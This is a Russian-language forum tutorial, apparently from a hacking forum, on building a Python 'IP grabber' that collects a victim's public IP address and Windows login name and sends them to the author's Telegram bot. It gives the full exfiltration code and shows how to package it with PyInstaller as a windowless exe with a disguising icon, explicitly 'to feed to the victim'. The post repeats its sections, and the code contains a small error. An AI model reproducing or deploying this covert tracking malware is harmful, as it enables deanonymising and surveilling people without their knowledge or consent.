AKASHI
Хэй! Не знаю зачем я это сделал, но ведь всё в жизни бывает, так что погнали. Программа будет узнавать IP человека и присылать его к нам в Telegram.
Установка Python
Переходим по ссылке - я ссылка. Скачиваем последнюю версию и устанавливаем её.
Создание Бота
Набираем в поисковой строке имя "@BotFather". Запускаем с ним диалог и создаем нового бота, которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
После мы должны с нашего аккаунта прислать боту любое сообщение. Далее мы переходим по ссылке.
Код:
С ботом мы покончили, идем дальше. Запомните ваш chatid!
Написание кода
Импортируем модули, которые нам нужны:
Python:
=========================================
К сожалению, telegram не работает на территори РФ. Прийдется подключить прокси. Подойдут даже бесплатные.
=========================================
Основная часть кода
=========================================
Компилируем в exe, чтобы скормить наш код жертве
Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i ***путь к иконке***, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.
Исходники
Скачать исходники можно по ссылке - я ссылка.
Пароль: h0peIess.
Установка Python
Переходим по ссылке - я ссылка. Скачиваем последнюю версию и устанавливаем её.
Создание Бота
Набираем в поисковой строке имя "@BotFather". Запускаем с ним диалог и создаем нового бота, которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Код:
/start
/newbot
Код:
Код:
https://api.telegram.org/bot***ВАШ_ТОКЕН***/getUpdates #перейти по данной ссылке
chat":{"id":вашid #найти ваш chatid на открывшейся странице, это логи вашего бота
Написание кода
Импортируем модули, которые нам нужны:
Python:
Код:
import requests
from os import getlogin
К сожалению, telegram не работает на территори РФ. Прийдется подключить прокси. Подойдут даже бесплатные.
Код:
http_proxy = "http://proxy"
https_proxy = "https://proxy"
ftp_proxy = "ftp://proxy
proxy = {
"http" : http_proxy,
"https" : https_proxy,
"ftp" : ftp_proxy
}
Основная часть кода
Код:
p = False # Для последующего цикла
while p == False: # Условие
try: # Пробуем получить IP
name_of_user = getlogin() # Получаем имя пользователя
ip_pc = req.get('http://httpbin.org/ip').content # Делаем запрос к сайту
ip_pc = ip_pc.decode('utf-8') # Декодируем
ip = ""
for i in ip_pc: # Очищаем от мусора
if i != '{' and i != '}' and i != '"' and i != ':' and i != 'o' and i != 'r' and i != 'i' and i != 'g' and i != 'i' and i != 'n': # Очищаем от мусора
ip+=i # Очищаем от мусора
else: # Очищаем от мусора
pass # Очищаем от мусора
#Я в курсе, что это очень тупой метод, зато работает )
requests.get('http://api.telegram.org/bot***ВАШ_ТОКЕН***/sendMessage?chat_id=***ВАШ_CHATID***&text='+ ip + ' ' + name_of_user, proxies = proxy) # Отправаляем сообщение в телеграм
p = True # Выходим из цикла
except: # Если возникает ошибка(нет доступа в интернет), пробуем, пока не получится
pass # Если возникает ошибка, то мы ничего не делаем
Компилируем в exe, чтобы скормить наш код жертве
Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i ***путь к иконке***, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.
Исходники
Скачать исходники можно по ссылке - я ссылка.
Пароль: h0peIess.